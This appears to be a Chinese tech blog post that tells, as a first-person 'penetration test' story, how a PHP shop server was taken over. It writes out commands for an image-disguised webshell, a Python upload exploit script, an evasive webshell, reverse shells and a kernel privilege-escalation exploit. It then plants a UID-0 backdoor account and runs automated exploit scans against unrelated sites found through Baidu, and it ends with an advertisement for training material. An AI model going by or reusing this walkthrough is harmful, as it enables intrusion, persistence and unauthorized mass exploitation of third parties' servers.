黑客?1小时内入侵100台服务器,百度成为帮凶?!

📅 发布时间:2026/7/5 6:13:03 👁️ 浏览次数:
黑客?1小时内入侵100台服务器,百度成为帮凶?!
最近有一位朋友搭建了一个商城想让我帮他测试一下于是有了这篇文章。公众号中发送AI小子将获得一个AI学习大礼包的推送。背景说明“前几天一个朋友通过QQ找到我他说是通过一个百度云的搜索软件搜到了我分享的“漏洞扫描软件”顺着软件上面的QQ找到我的想让我帮忙测试下他的商城。本来是拒绝的但是想到别人都专门找到我还是帮他测试下吧顺便加个餐为了不给该用户带来麻烦接下来在文章中出现的网址我都会进行打码”通过阅读这篇文章你会了解到入侵的整个流程如何利用网站的漏洞一步步拿下服务器权限修改服务器密码盗取数据库…关于标题服务器是什么服务有什么用“黑客”入侵了服务器会做什么什么是服务器服务器通俗来说就是一台放在机房里面的电脑。和我们普通的电脑区别在于服务器拥有固定IP以及防火墙恒温恒湿等。服务器和U盘的作用差不多都是用来存储文件的只是服务器存储的是你做好的网站文件但并不限于网站也包括图片文字视频数据库网站程序等。服务器有什么用服务器作用比较广网络游戏、网站、部分软件都是需要存到服务器的还有一些企业会配服务器他们平时工作上的重要资料都是存在服务器的硬盘中的。“黑客”入侵了服务器会做什么入侵了一个装了小区门禁系统的服务器那么他可以随意控制小区大门或者单元门的开关入侵了装了监控管理系统的服务器那么他们就可以随意操作摄像头。入侵了装有网站程序或数据库的服务器那么他们就可以盗取网站源代码修改或者盗取数据库资料……到这里大家应该对服务器被入侵的危害有所了解。如果想了解更多漏洞知识可以去乌云知识库学习里面保留了4万多个很有价值的漏洞那都白帽们的心血。地址http://www.anquan.us/有什么问题可以私信小子。网络无小事事事需谨慎关于安全方面的问题国内某知名搜索引擎中搜到的千篇一律的解答。某度搜到的结果这些资料基本都是告诉大家如何去排查如何去防护治标不治本。你不知道坏人的使坏手段你不了解坏人的使坏过程你被坏人欺负后永远都是一个心态慌图片来源于网络故事开始接下来我会站在一名“攻击者”的角度使用第一人称通过一个故事来讲述本次的整个测试流程。大家好我是故事的主人公小黑。我接到一个安全测试的单子对方希望我帮忙测试网站的安全性。目前就我所了解到的该网站所有情况如下一个商城php编写开源软件网址没了。。。找开源web软件漏洞先在网站上找一下有没有该软件的公开漏洞如果没有找到可以自己将软件下载下来进行测试仔细筛选逻辑或者编码上有问题的地方。很幸运的是我在一个安全论坛发现了这套软件前段时间被曝出一个图片上传漏洞漏洞的成因1.后台图片上传接口处未做权限验证2.未对上传的图片后缀名进行校验是否为jpg、jpeg、png、gif。漏洞的后果1.任何用户可以通过接口上传图片2.伪装为图片的脚本文件在上传后会被解析。解决办法1.做权限验证2.对上传的图片文件做后缀名校验3.也可以将上传的文件存储到OSS上。这么快就找到了突破点真是一个好的开始哈哈。制作图片马既然是一个图片上传漏洞那么接下来我需要伪装一个图片马对客户网站进行上传测试。警告为了不给被测试网站带来影响文中所用木马文件均为空文件。Windows系统copy tp.jpg/byjh.php tpyjh.jpg /** * tp.jpg普通图片 * yjh.php一句话木马 * tpyjh.php生成的伪装为图片的一句话木马 */Linux系统cat tp.jpg/b yjh.php tpyjh.jpg /** * tp.jpg普通图片 * yjh.php一句话木马 * tpyjh.php生成的伪装为图片的一句话木马 */编写上传脚本测试漏洞#!/usr/bin/python # -*- coding: utf-8 -*- # test_upload.py import requests import random url_base [待测试网站的根域名] def requests_post(url, data, files): temp None headers get_header() try: temp requests.post(url, datadata, filesfiles, headersheaders, timeout5) except ValueError, e: return False return temp def get_header(): user_agent_list [ Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95, Safari/537.36 OPR/26.0.1656.60, Opera/8.0 (Windows NT 5.1; U; en), Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50, Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0, Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10, Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36, Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11, ] UserAgent random.choice(user_agent_list) header {User-Agent: UserAgent} return header if __name__ __main__: data { file_path: upload/common/ } files { file_upload: (tpyjh.php, open(tpyjh.php, rb), image/png) } url url_base index.php?s/admin/upload/uploadfile res requests_post(url, data, files) print res.status_code print res.text.decode(unicode_escape)上传测试上传成功并返回木马路径upload/common/1565530537.php菜刀连接测试getshell提示如果想防止有人通过上传漏洞恶意上传木马文件请务必关闭上传目录的写入和执行权限通过上面的操作我发现此上传目录的执行权限未关闭那么写入权限应该八九不离十没有做太多限制于是在网上随便找了个权限比较高的大马传了上去。之所以传大马是因为通常来说小马的可操作权限比较小容易被查杀。如果上传一个隐秘性比较高添加修饰符进行混淆拆分等手段就可以躲过特征码的查杀权限比较大的马就能长期隐藏于服务器中方便提权。提示在服务器上查杀木马光凭借关键字或者特征码只能查杀很笨的木马如果攻击者做了免杀是很难被发现的。上传免杀大马上传大马传到服务器大马入口大马管理界面注意关于大马请不要随意使用网上公布的10个大马就有10个是有后门的这就是人们所说的黑吃黑你如果用网上下载的大马测试自己的服务器可能会因此被大马的发布者利用从而造成无法挽回的损失反弹SHELL由于大马的很多权限不足网页操作的不方便性此时需要进行反弹 Shell以方便通过命令行的方式操作目标主机。进行反弹操作一台外网的机子是必须的就算不是外网能映射也行。如果是外网服务器就更简单了。由于小黑自己手中有一些闲置的测试服务器所以为了方便就直接通过服务器来反弹连接。监听端口执行反弹命令执行方式有很多种不同的目标主机支持的执行方式不同经过测试后我选用了NC反弹开始反弹反弹连接成功很多人可能觉得到了这一步好像已经是 Root 权限了好像已经掌控了整个目标主机了。然而并没那么简单。先看看我当前是哪个用户其实不用看就能猜到是 Nginx 或者 Apache因为我们是通过 Web 连接进来的而且是 php 写的程序。不信看看我们当前连接进来是在哪个目录初始位置是在大马处这个到是没有问题。但是在操作的过程中我发现无论我怎么切换路径好像都是在当前目录这个太不方便了吧于是我更换了马儿通过 Python 反弹 Shell。连接成功并测试了一下命令行。OK好像正常了。查看系统信息先查看 shadow 文件和 passwd 文件。提示小黑有个习惯如果能够进入目标主机根目录小黑首先会看一下 shadow 文件和 passwd 的权限再进行下一步操作好像权限不足溜了溜了。查看内核版本Linux 10-10-34-187 3.10.0-123.4.4.el7.x86_64 #1 SMP Fri Jul 25 05:07:12 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux读取 /proc/version来获取LinuxKernel版本Linux version 3.10.0-123.4.4.el7.x86_64 (builderkbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Jul 25 05:07:12 UTC 2014检查 CentOS 版本EXP提升权限经过查看发现linux的内核版本为Linux 3.10.0-123.4.4.el7.x86_64 CentOS因此我们需要找到一个支持该本的 Exp。关于 Exp 的介绍https://blog.csdn.net/zhao1999qian/article/details/84069811经过查找找到一个内核 Exp可以使用它提权到 Root 用户。提示提权姿势有很多种这里先尝试内核提权如果行不通再换别的姿势。上传 Exp 到目标主机的/tmp/目录中检查一下编译 Exp尴尬报错了gcc: error trying to exec cc1: execvp: No such file or directory # 没有该文件或目录的错误输入whereis gcc我发现在 /usr/bin/gcc 存在一个 gcc所以我就试着把PATH路径设过去命令如下export PATH/usr/bin:$PATH根据你自己的位置进行重设继续编译40616.c: In function procselfmemThread: 40616.c:99:9: warning: passing argument 2 of lseek makes integer from pointer without a cast [enabled by default] lseek(f,map,SEEK_SET); ^ In file included from 40616.c:28:0: /usr/include/unistd.h:334:16: note: expected __off_t but argument is of type void * extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; ^ /tmp/ccacvdug.o: In function main: 40616.c:(.text0x39d): undefined reference to pthread_create 40616.c:(.text0x3b8): undefined reference to pthread_create 40616.c:(.text0x3d1): undefined reference to pthread_create 40616.c:(.text0x3e5): undefined reference to pthread_join collect2: error: ld returned 1 exit status又报错了打开文件看了一下发现少了参数pthread。继续编译编译过程中出现一些警告可以直接忽略只要 ls 验证编译成功即可查看我们当前的 id目前我的 uid 是 997 属于普通用户执行 ExpExp 执行完毕发现当前登陆的用户名变为了 Root。打印一下 id 此时 uid 为0转变为了超级用户。也就是说此时我已经拥有整台服务器的控制权限了可以随心所欲做任何我想做的事。作为一名入侵者为了不给我接下来的操作带来不必要的影响接下来要做的第一件事就是先给自己创建一个单独的账号并提升为 Root 权限方便我的远程登陆。如果不给自己创建单独的账户我就无法远程直连服务器每次都要使用反弹 shell 连接服务器而且每次进来都要重新进行提权操作这样做太麻烦了而且容易被发现从而导致整个提权的成果毁于一旦。所以既然是提权就要做的就是尽可能完美。添加用户既然已经拿到了root权限那么我的测试其实也就差不多完成了接下来的操作我就直接在自己服务器上演示了避免给对方的带来不必要的麻烦。通过adduser [用户名] 命令创建一个名为test01 的账户并设置好初始密码vim /etc/passwd 打开 passwd 文件找到刚刚创建的test01修改 test01 的UID用户ID为00表示超级用户:test01:x:1002:1002:,,,:/home/test01:/bin/bash # 修改为 test01:x:0:1002:,,,:/home/test01:/bin/bash解释一下/etc/passwd文件test01:x:1002:1002:,,,:/home/test01:/bin/bash # 第 1 字段用户名称 # 第 2 字段密码标志 # 第 3 字段UID用户ID0:超级用户1499:系统用户50065535:普通用户 # 第 4 字段GID用户初始组ID # 第 5 字段用户说明 # 第 6 字段家目录普通用户/home/用户名超级用户/root/ # 第 7 字段登陆之后d的shell # Shell是什么 # 1. shell就是Linux的命令解释器 # 2. 在/etc/passwd当中除了标准shell是/bin/bash之外 # 还可以写如/sbin/nologin表示未登录如果把管理员第7字段改为/sbin/nologin # 则表示暂时停用该用户。既然已经创建了独立账户并提升为了超级用户登陆一下试试能否连接成功登陆成功并且是超级用户ojbk到这一步为止整个提权的流程已经走完了最终也拿到了目标服务器的超级管理权。但是如果提权者提权的目的是带有恶意的带有攻击性的那么现在才是他们真正开始表演的时候他们可能会修改数据盗取数据破坏服务器等谁也不太确定他们真正的目的。举个例子假如我入侵服务器的真正目的是要修改数据那么我接下来需要找到数据库的位置。在入侵测试过程中我已经知道了对方使用的是 Ngnix 服务器环境。所以我可以找到 Nginx 的配置文件先了解下一当前服务器运行了多少个 Web 服务找出我们需要的那一个并查出它的根目录通过 cat 命令查看了一下两个文件按大多数情况来说其中一个一定会配置对应的域名与网站路径。但实际情况是里面内容一摸一样都是默认的nginx.conf配置。那么值得注意的是里面的默认服务器根路径一定有文章。到/home/wwwroot/default去瞧瞧发现了对方的 phpmyadmin回退了一级发现了网站的布置位置……接下来我可以在网站程序中拿到数据库的连接地址数据库名账号以及密码从而对数据库进行操作。接下来修改数据库等一系列操作我就不演示了如果是对数据库操作不是太懂的新手可以咨询我。我写了个数据库备份的脚本#!/bin/bash # Name:bakmysql.sh # backupdir数据库备份d地址备份到什么位置 backupdir/home/pigbak/mysqldata # time时间戳为了防止备份数据库被覆盖 timedate %Y%m%d_%H%M%S # 数据库名lucky # 数据库账号root # 数据库密码123456 # 假如我们要备份名为 luky 的数据库 mysqldump -uroot -p123456 lucky | gzip /home/databackup/mysqldata/lucky_$time.sql.gz到此为止一个简略但还算得上比较全的入侵演示到此结束关于删除日志等一系列操作我就不演示了毕竟我主要的目的是为了让大家了解安全风险而不是教大家怎样躲避追踪大家应该对攻击者的手段有所了解知己知彼方可百战不殆。希望大家在某些方面做好对应的防范吧如果对某个环节的防御不是很懂可以咨询我。补充在帮朋友做完整个入侵测试后发现一个很有意思的事用这个开源软件的平台大把人在而且令人不寒而栗的是可能他们很多人都中枪了他们的服务器岂不是成为了待宰的羔羊为了验证我的想法我想在百度中找出使用这个开源商城的所有公司或个人并找出还未进行漏洞修补的网站。于是我用国内某知名搜索引擎搜了一下某度搜到的结果差点吓到了我竟然出现了1, 400, 000 条结果。。。即使1000个中能有一个中枪这个数据量也很不简单这么庞大的数据量手动测试肯定是不靠谱的于是我根据百度的搜结果用 Python 写了个自动化脚本自动过滤掉所有与该开源软件无关的网站并自动进行漏洞测试记录。新建一个 result 文件夹里面放入三个文件successful.txt存放有漏洞的网站地址及漏洞路径fail.txt存放有漏洞的网站地址但漏洞暂时未找到scanner.py漏洞检测脚本进入到 result 文件夹运行脚本开始检测最终程序检测了13页每页20条检测到了8个漏洞还未修复的网站接着我果断停止了程序没再继续检测下去而是陷入了深深地思考……13页检测结果仍然存在漏洞的网站漏洞已被修复的网站照着这个转化率检测完所有网站存在漏洞的网站很容易就破 1000 了。但仔细回想其实任何外表看似很完美的程序其实都是有 bug 存在的这么多存在漏洞的网站为什么仍然正常运行着如果放在 6 年前恐怕很多网站或者服务器已经被那些脚本小子弄的不成样子了。其实这就和我们的生活中遭遇盗贼一样随着生活水平的提高不是因为大家防盗技术变好了而是大家生活水平都提高了盗贼也没必要去做那些没必要的事情了。现在一个练手的服务器要不了几个钱根本没必要冒着风险去攻击别人。光明磊落做人脚踏实地做事永远不要违背道德底线好啦今天的安全知识普及到此结束。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】